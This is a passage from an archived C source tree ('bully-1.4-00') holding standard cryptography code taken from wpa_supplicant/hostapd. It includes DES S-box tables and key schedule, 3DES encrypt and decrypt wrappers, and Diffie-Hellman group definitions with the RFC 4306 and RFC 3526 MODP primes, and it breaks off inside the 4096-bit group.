0x00000001UL, 0x00002000UL, 0x00800000UL, 0x00802001UL,
0x00000080UL, 0x00800000UL, 0x00002001UL, 0x00002080UL,
0x00800081UL, 0x00000001UL, 0x00002080UL, 0x00800080UL,
0x00002000UL, 0x00802080UL, 0x00802081UL, 0x00000081UL,
0x00800080UL, 0x00800001UL, 0x00802000UL, 0x00802081UL,
0x00000081UL, 0x00000000UL, 0x00000000UL, 0x00802000UL,
0x00002080UL, 0x00800080UL, 0x00800081UL, 0x00000001UL,
0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL,
0x00802081UL, 0x00000081UL, 0x00000001UL, 0x00002000UL,
0x00800001UL, 0x00002001UL, 0x00802080UL, 0x00800081UL,
0x00002001UL, 0x00002080UL, 0x00800000UL, 0x00802001UL,
0x00000080UL, 0x00800000UL, 0x00002000UL, 0x00802080UL
};
static const u32 SP5[64] =
{
0x00000100UL, 0x02080100UL, 0x02080000UL, 0x42000100UL,
0x00080000UL, 0x00000100UL, 0x40000000UL, 0x02080000UL,
0x40080100UL, 0x00080000UL, 0x02000100UL, 0x40080100UL,
0x42000100UL, 0x42080000UL, 0x00080100UL, 0x40000000UL,
0x02000000UL, 0x40080000UL, 0x40080000UL, 0x00000000UL,
0x40000100UL, 0x42080100UL, 0x42080100UL, 0x02000100UL,
0x42080000UL, 0x40000100UL, 0x00000000UL, 0x42000000UL,
0x02080100UL, 0x02000000UL, 0x42000000UL, 0x00080100UL,
0x00080000UL, 0x42000100UL, 0x00000100UL, 0x02000000UL,
0x40000000UL, 0x02080000UL, 0x42000100UL, 0x40080100UL,
0x02000100UL, 0x40000000UL, 0x42080000UL, 0x02080100UL,
0x40080100UL, 0x00000100UL, 0x02000000UL, 0x42080000UL,
0x42080100UL, 0x00080100UL, 0x42000000UL, 0x42080100UL,
0x02080000UL, 0x00000000UL, 0x40080000UL, 0x42000000UL,
0x00080100UL, 0x02000100UL, 0x40000100UL, 0x00080000UL,
0x00000000UL, 0x40080000UL, 0x02080100UL, 0x40000100UL
};
static const u32 SP6[64] =
{
0x20000010UL, 0x20400000UL, 0x00004000UL, 0x20404010UL,
0x20400000UL, 0x00000010UL, 0x20404010UL, 0x00400000UL,
0x20004000UL, 0x00404010UL, 0x00400000UL, 0x20000010UL,
0x00400010UL, 0x20004000UL, 0x20000000UL, 0x00004010UL,
0x00000000UL, 0x00400010UL, 0x20004010UL, 0x00004000UL,
0x00404000UL, 0x20004010UL, 0x00000010UL, 0x20400010UL,
0x20400010UL, 0x00000000UL, 0x00404010UL, 0x20404000UL,
0x00004010UL, 0x00404000UL, 0x20404000UL, 0x20000000UL,
0x20004000UL, 0x00000010UL, 0x20400010UL, 0x00404000UL,
0x20404010UL, 0x00400000UL, 0x00004010UL, 0x20000010UL,
0x00400000UL, 0x20004000UL, 0x20000000UL, 0x00004010UL,
0x20000010UL, 0x20404010UL, 0x00404000UL, 0x20400000UL,
0x00404010UL, 0x20404000UL, 0x00000000UL, 0x20400010UL,
0x00000010UL, 0x00004000UL, 0x20400000UL, 0x00404010UL,
0x00004000UL, 0x00400010UL, 0x20004010UL, 0x00000000UL,
0x20404000UL, 0x20000000UL, 0x00400010UL, 0x20004010UL
};
static const u32 SP7[64] =
{
0x00200000UL, 0x04200002UL, 0x04000802UL, 0x00000000UL,
0x00000800UL, 0x04000802UL, 0x00200802UL, 0x04200800UL,
0x04200802UL, 0x00200000UL, 0x00000000UL, 0x04000002UL,
0x00000002UL, 0x04000000UL, 0x04200002UL, 0x00000802UL,
0x04000800UL, 0x00200802UL, 0x00200002UL, 0x04000800UL,
0x04000002UL, 0x04200000UL, 0x04200800UL, 0x00200002UL,
0x04200000UL, 0x00000800UL, 0x00000802UL, 0x04200802UL,
0x00200800UL, 0x00000002UL, 0x04000000UL, 0x00200800UL,
0x04000000UL, 0x00200800UL, 0x00200000UL, 0x04000802UL,
0x04000802UL, 0x04200002UL, 0x04200002UL, 0x00000002UL,
0x00200002UL, 0x04000000UL, 0x04000800UL, 0x00200000UL,
0x04200800UL, 0x00000802UL, 0x00200802UL, 0x04200800UL,
0x00000802UL, 0x04000002UL, 0x04200802UL, 0x04200000UL,
0x00200800UL, 0x00000000UL, 0x00000002UL, 0x04200802UL,
0x00000000UL, 0x00200802UL, 0x04200000UL, 0x00000800UL,
0x04000002UL, 0x04000800UL, 0x00000800UL, 0x00200002UL
};
static const u32 SP8[64] =
{
0x10001040UL, 0x00001000UL, 0x00040000UL, 0x10041040UL,
0x10000000UL, 0x10001040UL, 0x00000040UL, 0x10000000UL,
0x00040040UL, 0x10040000UL, 0x10041040UL, 0x00041000UL,
0x10041000UL, 0x00041040UL, 0x00001000UL, 0x00000040UL,
0x10040000UL, 0x10000040UL, 0x10001000UL, 0x00001040UL,
0x00041000UL, 0x00040040UL, 0x10040040UL, 0x10041000UL,
0x00001040UL, 0x00000000UL, 0x00000000UL, 0x10040040UL,
0x10000040UL, 0x10001000UL, 0x00041040UL, 0x00040000UL,
0x00041040UL, 0x00040000UL, 0x10041000UL, 0x00001000UL,
0x00000040UL, 0x10040040UL, 0x00001000UL, 0x00041040UL,
0x10001000UL, 0x00000040UL, 0x10000040UL, 0x10040000UL,
0x10040040UL, 0x10000000UL, 0x00040000UL, 0x10001040UL,
0x00000000UL, 0x10041040UL, 0x00040040UL, 0x10000040UL,
0x10040000UL, 0x10001000UL, 0x10001040UL, 0x00000000UL,
0x10041040UL, 0x00041000UL, 0x00041000UL, 0x00001040UL,
0x00001040UL, 0x00040040UL, 0x10000000UL, 0x10041000UL
};
static void cookey(const u32 *raw1, u32 *keyout)
{
u32 *cook;
const u32 *raw0;
u32 dough[32];
int i;
cook = dough;
for (i = 0; i < 16; i++, raw1++) {
raw0 = raw1++;
*cook = (*raw0 & 0x00fc0000L) << 6;
*cook |= (*raw0 & 0x00000fc0L) << 10;
*cook |= (*raw1 & 0x00fc0000L) >> 10;
*cook++ |= (*raw1 & 0x00000fc0L) >> 6;
*cook = (*raw0 & 0x0003f000L) << 12;
*cook |= (*raw0 & 0x0000003fL) << 16;
*cook |= (*raw1 & 0x0003f000L) >> 4;
*cook++ |= (*raw1 & 0x0000003fL);
}
os_memcpy(keyout, dough, sizeof(dough));
}
static void deskey(const u8 *key, int decrypt, u32 *keyout)
{
u32 i, j, l, m, n, kn[32];
u8 pc1m[56], pcr[56];
for (j = 0; j < 56; j++) {
l = (u32) pc1[j];
m = l & 7;
pc1m[j] = (u8)
((key[l >> 3U] & bytebit[m]) == bytebit[m] ? 1 : 0);
}
for (i = 0; i < 16; i++) {
if (decrypt)
m = (15 - i) << 1;
else
m = i << 1;
n = m + 1;
kn[m] = kn[n] = 0L;
for (j = 0; j < 28; j++) {
l = j + (u32) totrot[i];
if (l < 28)
pcr[j] = pc1m[l];
else
pcr[j] = pc1m[l - 28];
}
for (/* j = 28 */; j < 56; j++) {
l = j + (u32) totrot[i];
if (l < 56)
pcr[j] = pc1m[l];
else
pcr[j] = pc1m[l - 28];
}
for (j = 0; j < 24; j++) {
if ((int) pcr[(int) pc2[j]] != 0)
kn[m] |= bigbyte[j];
if ((int) pcr[(int) pc2[j + 24]] != 0)
kn[n] |= bigbyte[j];
}
}
cookey(kn, keyout);
}
static void desfunc(u32 *block, const u32 *keys)
{
u32 work, right, leftt;
int cur_round;
leftt = block[0];
right = block[1];
work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;
right ^= work;
leftt ^= (work << 4);
work = ((leftt >> 16) ^ right) & 0x0000ffffL;
right ^= work;
leftt ^= (work << 16);
work = ((right >> 2) ^ leftt) & 0x33333333L;
leftt ^= work;
right ^= (work << 2);
work = ((right >> 8) ^ leftt) & 0x00ff00ffL;
leftt ^= work;
right ^= (work << 8);
right = ROLc(right, 1);
work = (leftt ^ right) & 0xaaaaaaaaL;
leftt ^= work;
right ^= work;
leftt = ROLc(leftt, 1);
for (cur_round = 0; cur_round < 8; cur_round++) {
work = RORc(right, 4) ^ *keys++;
leftt ^= SP7[work & 0x3fL]
^ SP5[(work >> 8) & 0x3fL]
^ SP3[(work >> 16) & 0x3fL]
^ SP1[(work >> 24) & 0x3fL];
work = right ^ *keys++;
leftt ^= SP8[ work & 0x3fL]
^ SP6[(work >> 8) & 0x3fL]
^ SP4[(work >> 16) & 0x3fL]
^ SP2[(work >> 24) & 0x3fL];
work = RORc(leftt, 4) ^ *keys++;
right ^= SP7[ work & 0x3fL]
^ SP5[(work >> 8) & 0x3fL]
^ SP3[(work >> 16) & 0x3fL]
^ SP1[(work >> 24) & 0x3fL];
work = leftt ^ *keys++;
right ^= SP8[ work & 0x3fL]
^ SP6[(work >> 8) & 0x3fL]
^ SP4[(work >> 16) & 0x3fL]
^ SP2[(work >> 24) & 0x3fL];
}
right = RORc(right, 1);
work = (leftt ^ right) & 0xaaaaaaaaL;
leftt ^= work;
right ^= work;
leftt = RORc(leftt, 1);
work = ((leftt >> 8) ^ right) & 0x00ff00ffL;
right ^= work;
leftt ^= (work << 8);
/* -- */
work = ((leftt >> 2) ^ right) & 0x33333333L;
right ^= work;
leftt ^= (work << 2);
work = ((right >> 16) ^ leftt) & 0x0000ffffL;
leftt ^= work;
right ^= (work << 16);
work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;
leftt ^= work;
right ^= (work << 4);
block[0] = right;
block[1] = leftt;
}
/* wpa_supplicant/hostapd specific wrapper */
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
{
u8 pkey[8], next, tmp;
int i;
u32 ek[32], work[2];
/* Add parity bits to the key */
next = 0;
for (i = 0; i < 7; i++) {
tmp = key[i];
pkey[i] = (tmp >> i) | next | 1;
next = tmp << (7 - i);
}
pkey[i] = next | 1;
deskey(pkey, 0, ek);
work[0] = WPA_GET_BE32(clear);
work[1] = WPA_GET_BE32(clear + 4);
desfunc(work, ek);
WPA_PUT_BE32(cypher, work[0]);
WPA_PUT_BE32(cypher + 4, work[1]);
os_memset(pkey, 0, sizeof(pkey));
os_memset(ek, 0, sizeof(ek));
}
void des_key_setup(const u8 *key, u32 *ek, u32 *dk)
{
deskey(key, 0, ek);
deskey(key, 1, dk);
}
void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt)
{
u32 work[2];
work[0] = WPA_GET_BE32(plain);
work[1] = WPA_GET_BE32(plain + 4);
desfunc(work, ek);
WPA_PUT_BE32(crypt, work[0]);
WPA_PUT_BE32(crypt + 4, work[1]);
}
void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain)
{
u32 work[2];
work[0] = WPA_GET_BE32(crypt);
work[1] = WPA_GET_BE32(crypt + 4);
desfunc(work, dk);
WPA_PUT_BE32(plain, work[0]);
WPA_PUT_BE32(plain + 4, work[1]);
}
void des3_key_setup(const u8 *key, struct des3_key_s *dkey)
{
deskey(key, 0, dkey->ek[0]);
deskey(key + 8, 1, dkey->ek[1]);
deskey(key + 16, 0, dkey->ek[2]);
deskey(key, 1, dkey->dk[2]);
deskey(key + 8, 0, dkey->dk[1]);
deskey(key + 16, 1, dkey->dk[0]);
}
void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt)
{
u32 work[2];
work[0] = WPA_GET_BE32(plain);
work[1] = WPA_GET_BE32(plain + 4);
desfunc(work, key->ek[0]);
desfunc(work, key->ek[1]);
desfunc(work, key->ek[2]);
WPA_PUT_BE32(crypt, work[0]);
WPA_PUT_BE32(crypt + 4, work[1]);
}
void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain)
{
u32 work[2];
work[0] = WPA_GET_BE32(crypt);
work[1] = WPA_GET_BE32(crypt + 4);
desfunc(work, key->dk[0]);
desfunc(work, key->dk[1]);
desfunc(work, key->dk[2]);
WPA_PUT_BE32(plain, work[0]);
WPA_PUT_BE32(plain + 4, work[1]);
}
bully-1.4-00/src/crypto/des_i.h 0000775 0000000 0000000 00000001640 13615304636 0016300 0 ustar 00root root 0000000 0000000 /*
* DES and 3DES-EDE ciphers
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef DES_I_H
#define DES_I_H
struct des3_key_s {
u32 ek[3][32];
u32 dk[3][32];
};
void des_key_setup(const u8 *key, u32 *ek, u32 *dk);
void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt);
void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain);
void des3_key_setup(const u8 *key, struct des3_key_s *dkey);
void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt);
void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain);
#endif /* DES_I_H */
bully-1.4-00/src/crypto/dh_group5.c 0000775 0000000 0000000 00000001575 13615304636 0017113 0 ustar 00root root 0000000 0000000 /*
* Diffie-Hellman group 5 operations
* Copyright (c) 2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "dh_groups.h"
#include "dh_group5.h"
void * dh5_init(struct wpabuf **priv, struct wpabuf **publ)
{
*publ = dh_init(dh_groups_get(5), priv);
if (*publ == 0)
return NULL;
return (void *) 1;
}
struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public,
const struct wpabuf *own_private)
{
return dh_derive_shared(peer_public, own_private, dh_groups_get(5));
}
void dh5_free(void *ctx)
{
}
bully-1.4-00/src/crypto/dh_group5.h 0000775 0000000 0000000 00000001264 13615304636 0017113 0 ustar 00root root 0000000 0000000 /*
* Diffie-Hellman group 5 operations
* Copyright (c) 2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef DH_GROUP5_H
#define DH_GROUP5_H
void * dh5_init(struct wpabuf **priv, struct wpabuf **publ);
struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public,
const struct wpabuf *own_private);
void dh5_free(void *ctx);
#endif /* DH_GROUP5_H */
bully-1.4-00/src/crypto/dh_groups.c 0000775 0000000 0000000 00000062477 13615304636 0017221 0 ustar 00root root 0000000 0000000 /*
* Diffie-Hellman groups
* Copyright (c) 2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#include "dh_groups.h"
#ifdef ALL_DH_GROUPS
/* RFC 4306, B.1. Group 1 - 768 Bit MODP
* Generator: 2
* Prime: 2^768 - 2 ^704 - 1 + 2^64 * { [2^638 pi] + 149686 }
*/
static const u8 dh_group1_generator[1] = { 0x02 };
static const u8 dh_group1_prime[96] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x3A, 0x36, 0x20,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
/* RFC 4306, B.2. Group 2 - 1024 Bit MODP
* Generator: 2
* Prime: 2^1024 - 2^960 - 1 + 2^64 * { [2^894 pi] + 129093 }
*/
static const u8 dh_group2_generator[1] = { 0x02 };
static const u8 dh_group2_prime[128] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
#endif /* ALL_DH_GROUPS */
/* RFC 3526, 2. Group 5 - 1536 Bit MODP
* Generator: 2
* Prime: 2^1536 - 2^1472 - 1 + 2^64 * { [2^1406 pi] + 741804 }
*/
static const u8 dh_group5_generator[1] = { 0x02 };
static const u8 dh_group5_prime[192] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
#ifdef ALL_DH_GROUPS
/* RFC 3526, 3. Group 14 - 2048 Bit MODP
* Generator: 2
* Prime: 2^2048 - 2^1984 - 1 + 2^64 * { [2^1918 pi] + 124476 }
*/
static const u8 dh_group14_generator[1] = { 0x02 };
static const u8 dh_group14_prime[256] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAC, 0xAA, 0x68,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
/* RFC 3526, 4. Group 15 - 3072 Bit MODP
* Generator: 2
* Prime: 2^3072 - 2^3008 - 1 + 2^64 * { [2^2942 pi] + 1690314 }
*/
static const u8 dh_group15_generator[1] = { 0x02 };
static const u8 dh_group15_prime[384] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D,
0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33,
0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64,
0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A,
0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D,
0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7,
0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7,
0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D,
0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B,
0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64,
0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64,
0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C,
0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C,
0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2,
0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31,
0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E,
0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x3A, 0xD2, 0xCA,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
/* RFC 3526, 5. Group 16 - 4096 Bit MODP
* Generator: 2
* Prime: 2^4096 - 2^4032 - 1 + 2^64 * { [2^3966 pi] + 240904 }
*/
static const u8 dh_group16_generator[1] = { 0x02 };
static const u8 dh_group16_prime[512] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
